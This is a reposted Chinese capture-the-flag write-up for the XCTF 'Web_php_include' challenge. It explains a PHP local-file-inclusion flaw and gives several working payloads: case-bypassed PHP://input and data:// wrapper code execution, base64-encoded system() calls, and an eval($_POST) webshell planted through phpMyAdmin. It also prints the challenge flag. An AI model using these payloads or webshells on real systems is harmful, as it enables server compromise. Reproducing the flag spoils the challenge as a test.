XCTF-攻防世界CTF平台-Web类——4Web_php_include
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——4Web_php_include相关的知识,希望对你有一定的参考价值。
目录标题
打开题目地址:
代码:
<?php
show_source(__FILE__);
echo $_GET['hello']; //输出hello变量指向的内容
$page=$_GET['page']; //把page变量的值赋给$page
while (strstr($page, "php://")) { //判断$page中是否包含"php://"字符串
$page=str_replace("php://", "", $page); //用空替换"php://"字符串
}
include($page); //将$page变量指向的文件的内容插入当前php文件
?>
show_source(FILE)函数:
对文件进行语法高亮显示,__FILE__指定要显示其内容的文件。
$_GET []变量:
预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制。
strstr函数:
搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
str_replace函数:
替换字符串中的一些字符(区分大小写)。
include函数:
将PHP文件的内容插入另一个PHP文件(在服务器执行它之前)。
所以上面的代码的作用就是接收我们通过GET提交的数据,然后显示输出hello变量指向的内容,之后判断page变量指向的内容是否包括"php://"字符串,如果包括就把它删除,最后显示$page变量指向的文件的内容。
接下来,我们有几种漏洞利用的思路:
方法一、文件包含:php://input伪协议绕过strstr()函数
php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。
因为strstr()函数对大小写敏感,也就是字符串中必须要出现"php://"才会生效,page=PHP://input之类的大写的字母是就可以绕过strstr()函数:把PHP://input的值通过GET方式传入,然后通过POST方式提交执行的命令读取目录文件ls、dir:
http://111.200.241.244:53666/?page=PHP://input
<?php system('ls')?>
或
<?php system('dir')?>
目录下有三个文件fl4gisisish3r3.php、index.php、phpinfo.php,之后访问这三个页面:
Flag应该是在fl4gisisish3r3.php中,查看文件的内容:
http://111.200.241.244:53666/?page=PHP://input
<?php system('cat index.php')?>
返回的内容在注释当中:
<?php system('cat fl4gisisish3r3.php')?>
得到在注释当中的flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
<?php system('cat phpinfo.php')?>用代理抓包再发送也是一样的:
方法二、文件包含:GET方式提交命令
之后我们尝试只通过page变量来执行命令读取flag:
http://111.200.241.244:53666/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
这里的page变量的值是http://127.0.0.1/index.php/?hello=<?system("ls");?>,在第一个include($page)的时候将http://127.0.0.1/index.php文件的代码包含进去,这时候第二个hello=<?system("ls");?>,然后执行echo $_GET[‘hello’]指向的值system(“ls”)将当前目录下的文件输出:
同样地,我们可以查看fl4gisisish3r3.php的内容,这里我们需要直接用hello变量中执行对文件进行语法高亮显示的函数:
http://111.200.241.244:54128/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
或者:
http://111.200.241.244:54128/?page=http://127.0.0.1/index.php/?hello=<?highlight_file("fl4gisisish3r3.php");?>
方法三、data://伪协议
既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议,php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。
(1)data://伪协议的提交格式是:
data:text/plain,代码
http://111.200.241.244:54128/index.php?page=data:text/plain,<?php system("ls"); ?>
http://111.200.241.244:54128/index.php?page=data:text/plain,<?php system("cat fl4gisisish3r3.php"); ?>
(2)也可以再使用Base64编码传输:
data:text/plain;base64,(base64编码后的数据)
但是需要注意如果编码之后的Base64代码中出现了+号,浏览器传输的时候无法识别+号就会出错,可以(1)添加空格不改变代码的作用而改变生成的Base64编码让它不生成+号;(2)将+号换成url编码%2b,也可以直接将整条命令用url编码而不是用Base64编码,浏览器依旧可以识别。
所以我们把<?php system("dir");?>编码成
http://111.200.241.244:54128/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
把<?php system("ls");?>编码成
http://111.200.241.244:54128/?page=data://text/plain;base64,PD9zeXN0ZW0oImxzIik7Pz4=
将<?php system('cat fl4gisisish3r3.php')?>编码成:
http://111.200.241.244:54128/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
方法四、一句话木马连接后台
先用御剑扫描后台页面:
其中就有后台数据库的登录界面http://111.200.241.244:54128/phpmyadmin/db_create.php:
mysql的用户名就是root,密码是空
登录了数据库之后,执行SQL语句插入页面一句话木马内容:
SELECT "<?php eval(@$_POST['password']); ?>"
INTO OUTFILE '/tmp/attack.php'
之后用蚁剑或者菜刀连接,
指定连接的页面
http://111.200.241.244:54128/?page=/tmp/attack.php
以及设定的木马的密码:
password
连接成功之后就可以执行普通用户权限下的命令,查看对应文件的内容:
方法五、data://伪协议+一句话木马
先用data://伪协议写入一句话木马:
http://111.200.241.244:54128/index.php?page=data:text/plain,<?php eval($_POST["1"]); ?>
之后用蚁剑连接:
同样可以得到flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
参考链接:
https://www.w3school.com.cn/php/func_misc_show_source.asp
https://www.runoob.com/php/php-get.html
https://blog.csdn.net/weixin_45844670/article/details/108180309
以上是关于XCTF-攻防世界CTF平台-Web类——4Web_php_include的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——14supersqli
XCTF-攻防世界CTF平台-Web类——7NewsCenter
XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize